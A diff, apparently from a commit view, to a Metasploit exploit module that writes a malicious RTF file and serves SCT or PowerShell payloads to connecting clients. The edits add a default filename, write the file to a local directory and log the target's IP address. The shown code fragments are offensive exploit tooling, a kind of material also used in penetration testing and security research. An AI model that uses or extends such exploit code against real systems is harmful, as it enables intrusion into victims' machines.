@@ -45,7 +45,7 @@ def initialize(info = {})
45
45
) )
46
46
47
47
register_options ( [
48
- OptString . new ( "FILENAME" , [ true , "Filename to save as" ] )
48
+ OptString . new ( "FILENAME" , [ true , "Filename to save as" , "msf.rtf" ] )
49
49
] )
50
50
end
51
51
@@ -134,10 +134,12 @@ def generate_rtf
134
134
payload = ( payload + ( "\x00 " * ( 197 - payload . length ) ) ) . unpack ( 'H*' ) . first
135
135
payload = header + payload + footer
136
136
137
- ::File . open ( datastore [ 'FILENAME' ] , 'wb' ) do |fd |
137
+ path = ::File . join ( Msf ::Config . local_directory , datastore [ 'FILENAME' ] )
138
+ ::File . open ( path , 'wb' ) do |fd |
138
139
fd . write ( payload )
139
140
fd . close
140
141
end
142
+ print_good ( "Wrote payload to #{ path } " )
141
143
end
142
144
143
145
@@ -176,7 +178,7 @@ def on_request_uri(cli, _request)
176
178
data = gen_sct_file ( payload )
177
179
send_response ( cli , data , 'Content-Type' => 'text/plain' )
178
180
else
179
- print_status ( "Delivering payload..." )
181
+ print_status ( "Delivering payload to #{ cli . peerhost } ..." )
180
182
p = regenerate_payload ( cli )
181
183
data = cmd_psh_payload ( p . encoded ,
182
184
payload_instance . arch . first ,
0 commit comments